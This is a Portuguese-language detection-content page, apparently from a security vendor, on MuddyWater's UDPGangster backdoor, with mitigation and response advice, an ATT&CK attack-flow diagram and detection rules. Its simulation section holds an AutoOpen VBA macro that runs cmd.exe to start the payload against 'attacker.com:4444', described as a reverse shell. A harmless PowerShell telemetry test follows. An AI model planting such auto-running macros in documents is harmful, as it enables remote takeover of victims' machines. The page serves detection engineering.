Ataques UDPGangster se Espalham por Vários Países
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
UDPGangster é um backdoor baseado em UDP utilizado pelo grupo de ameaças MuddyWater para controlar remotamente hosts Windows. O comprometimento inicial ocorre por meio de um documento do Word malicioso que usa macros VBA para liberar e lançar a carga útil. O malware realiza extensivas verificações anti-análise e mantém a persistência copiando-se para o diretório AppData do usuário e criando uma chave Run. Recentes campanhas foram observadas visando usuários na Turquia, Israel e Azerbaijão.
Investigação
O FortiGuard Labs examinou os e-mails de phishing, a macro VBA embutida, o executável dropper e suas técnicas de persistência. Eles extraíram indicadores como caminhos de arquivos, entradas Run do registro, nomes de mutex e infraestrutura associada de C2. A correlação de endereços IP, domínios e caminhos PDB permitiu aos analistas relacionar esta atividade a operações anteriores do MuddyWater.
Mitigação
As etapas de mitigação incluem reforçar o bloqueio de macros ou treinamento robusto de usuários para prevenir a execução de macros, e implantar defesas nos endpoints que monitorem por gravações de arquivos suspeitos em pastas públicas ou de perfis de usuários, bem como modificações em chaves de registro Run. As equipes de rede devem monitorar tráfego UDP anômalo na porta 1269 e bloquear endereços IP e domínios maliciosos conhecidos para interromper canais C2.
Resposta
Quando uma atividade do UDPGangster for detectada, isole o endpoint impactado, colete memória volátil e imagens de disco completas, e procure pelo binário do backdoor e artefatos relacionados. Bloqueie a infraestrutura de C2 identificada, realize uma análise forense completa para descobrir qualquer sistema adicional comprometido, e atualize as assinaturas de segurança para detectar tanto os documentos macro maliciosos quanto a carga do backdoor.
graph TB %% Class Definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% Node definitions action_phishing[“<b>Ação</b> – <b>T1566.001 Anexo de Spearphishing</b>: E‑mail com documento Word malicioso e arquivo ZIP.”] class action_phishing action action_macro[“<b>Ação</b> – <b>T1059.005 Interpretador de Comandos e Scripts VBA</b>: Macro Document_Open decodifica o payload Base64 para C:\\Users\\Public\\ui.txt.”] class action_macro action action_vba_stomping[“<b>Ação</b> – <b>T1564.007 Ocultar Artefatos (VBA Stomping)</b>: Binário malicioso oculto na macro e materializado em tempo de execução.”] class action_vba_stomping action action_obfuscation[“<b>Ação</b> – <b>T1027.004 Compilar Após a Entrega</b>: Payload ofuscado com codificação Base64 e técnicas de compilação em tempo de execução.”] class action_obfuscation action action_persistence_copy[“<b>Ação</b> – <b>T1547.014 Execução Automática na Inicialização ou Logon</b>: Copia o backdoor para %AppData%\\RoamingLow\\SystemProc.exe.”] class action_persistence_copy action action_registry_persistence[“<b>Ação</b> – <b>T1547.014 Chave de Execução no Registro</b>: Cria a entrada de inicialização HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell.”] class action_registry_persistence action action_anti_sandbox[“<b>Ação</b> – <b>T1497.002 Evasão de Sandbox de Virtualização</b>: Realiza detecção de depurador, contagem de núcleos de CPU, tamanho de RAM, prefixo MAC, status de domínio, consultas WMI, varreduras de registro e verificações de DLLs conhecidas de sandbox.”] class action_anti_sandbox action action_c2_udp[“<b>Ação</b> – <b>T1571 Porta Não Padronizada</b>: Comunica‑se com o C2 pela porta UDP 1269.”] class action_c2_udp action action_raw_udp[“<b>Ação</b> – <b>T1095 Protocolo Fora da Camada de Aplicação</b>: Utiliza pacotes UDP brutos para o tráfego.”] class action_raw_udp action action_data_encoding[“<b>Ação</b> – <b>T1132.002 Codificação Personalizada</b>: Informações do sistema codificadas com transformação de rotação à direita antes da exfiltração.”] class action_data_encoding action malware_backdoor[“<b>Malware</b>: Binário de backdoor personalizado”] class malware_backdoor malware process_c2[“<b>Processo</b>: Servidor C2 remoto”] class process_c2 process %% Connections showing attack flow action_phishing –>|delivers| action_macro action_macro –>|materializes| action_vba_stomping action_vba_stomping –>|obfuscates| action_obfuscation action_obfuscation –>|copies to AppData| action_persistence_copy action_persistence_copy –>|creates run key| action_registry_persistence action_registry_persistence –>|enables| malware_backdoor action_vba_stomping –>|executes| action_anti_sandbox action_anti_sandbox –>|if passes| action_c2_udp action_c2_udp –>|uses| action_raw_udp action_raw_udp –>|sends encoded data| action_data_encoding action_data_encoding –>|to| process_c2 process_c2 –>|controls| malware_backdoor
Fluxo de Ataque
Detecções
Detecção de Comunicação C2 do UDPGangster via Porta UDP 1269 [Conexão de Rede Windows]
Ver
Execução de Comando Remoto do UDPGangster via CreateProcessA e cmd.exe [Criação de Processo do Windows]
Ver
Detecção de Criação de Mutex do UDPGangster [Sysmon do Windows]
Ver
IOCs (IP de Origem) para detectar: Campanhas do UDPGangster Alvo em Múltiplos Países
Ver
IOCs (IP de Destino) para detectar: Campanhas do UDPGangster Alvo em Múltiplos Países
Ver
Execução de Simulação
Pré-requisito: O Check de Pré‑voo de Telemetria & Baseline deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque & Comandos:
Um atacante entrega um documento do Word malicioso contendo uma macro VBA. A macro chama a API do WindowsCreateProcessApara gerarcmd.exee executar a carga do UDPGangster (udp_gangster.exe). A carga estabelece uma shell reversa para o servidor C2 do atacante. Como a macro passa explicitamente a string “CreateProcessA” e o literalcmd.exena linha de comando, a regra de detecção será correspondida.-
Macro VBA (simplificada) – demonstra a chamada da API:
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _ (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _ ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _ ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long Sub AutoOpen() Dim cmdLine As String cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444""" Dim si As STARTUPINFO Dim pi As PROCESS_INFORMATION Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi) End Sub -
Desdobre a macro, abra o documento, e deixe a macro executar. O evento de criação do processo resultante conterá:
CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
-
-
Script de Teste de Regressão: O seguinte script PowerShell reproduz a telemetria exata sem requerer um documento do Word. Ele chama a API nativa Win32
CreateProcessAviaAdd-Type.# Teste de regressão: chamada direta CreateProcessA com cmd.exe $source = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ Add-Type $source $si = New-Object NativeMethods+STARTUPINFO $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO]) $pi = New-Object NativeMethods+PROCESS_INFORMATION $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"' $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $result) { Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())" } else { Write-Host "CreateProcessA succeeded, command line logged." } -
Comandos de Limpeza: Remova o artefato criado durante a simulação.
# Remova o arquivo de log temporário gerado pela simulação Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue